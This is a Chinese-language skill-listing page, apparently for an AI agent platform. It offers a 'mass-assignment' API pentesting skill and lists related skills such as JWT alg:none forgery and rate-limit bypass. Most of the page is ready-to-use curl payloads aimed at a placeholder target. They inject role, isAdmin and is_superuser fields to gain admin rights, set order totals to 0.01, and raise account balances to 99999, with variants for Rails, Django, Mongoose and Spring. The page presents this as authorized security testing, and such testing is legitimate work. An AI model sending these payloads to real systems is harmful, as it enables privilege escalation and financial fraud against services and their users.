在 Manus 中运行任何 Skill
一键导入
一键导入
一键在 Manus 中运行任何 Skill
开始使用mass-assignment
星标2
分支0
更新时间2026年6月3日 04:04
检测 API 中的批量赋值漏洞,通过在请求体中添加非预期字段修改不应被客户端控制的属性。
安装
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
SKILL.md
readonly菜单
检测 API 中的批量赋值漏洞,通过在请求体中添加非预期字段修改不应被客户端控制的属性。
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
通过被动来源和受控主动 DNS 枚举目标子域名,发现更多授权攻击面入口。
使用 agent-browser 在授权范围内执行浏览器交互验证,并在需要视觉判断时调用 pents vision-review 生成结构化视觉复核结果。
检测 API 中的功能级授权破坏(BFLA),验证普通用户是否能通过直接调用管理端点或操纵 HTTP 方法来执行管理员功能。
检测 API 中的对象级授权缺陷(BOLA/IDOR),通过篡改对象标识符越权访问或修改其他用户的数据。
利用 JWT 库接受 alg:none 的漏洞绕过签名验证,伪造任意 Token 实现权限提升。
检测和绕过 API 速率限制,通过 HTTP 头操纵、路径变体和参数污染绕过节流控制。
| name | mass-assignment |
| description | 检测 API 中的批量赋值漏洞,通过在请求体中添加非预期字段修改不应被客户端控制的属性。 |
| category | api |
| source | xalgorix |
| tags | ["Mass Assignment","API 安全","属性注入","OWASP API3:2023"] |
| required_tools | ["curl"] |
role、isAdmin、balance 等敏感字段。# 用户注册/更新
# POST /api/register
# PUT /api/users/me
# PATCH /api/profile
# 通用提权 payload
curl -X POST "https://<target>/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "testuser",
"password": "Test123!",
"role": "admin",
"isAdmin": true,
"is_superuser": true
}'
# Rails / ActiveRecord
curl -X PATCH "https://<target>/api/users/me" \
-d '{"user": {"role": "admin", "admin": true}}'
# Django / DRF
curl -X PATCH "https://<target>/api/users/me" \
-d '{"is_staff": true, "is_superuser": true}'
# Express / Mongoose
curl -X PUT "https://<target>/api/users/me" \
-d '{"$set": {"role": "admin"}}'
# Spring / Jackson
curl -X PATCH "https://<target>/api/users/me" \
-d '{"role": "ROLE_ADMIN", "authorities": ["ADMIN"]}'
# 价格操纵
curl -X POST "https://<target>/api/orders" \
-d '{"product_id": 1, "quantity": 1, "total": 0.01, "discount": 100}'
# 余额修改
curl -X PATCH "https://<target>/api/users/me" \
-d '{"balance": 99999, "credit": 99999}'
# 嵌套属性注入
curl -X PATCH "https://<target>/api/users/me" \
-d '{"profile": {"role": "admin"}, "subscription": {"plan": "enterprise"}}'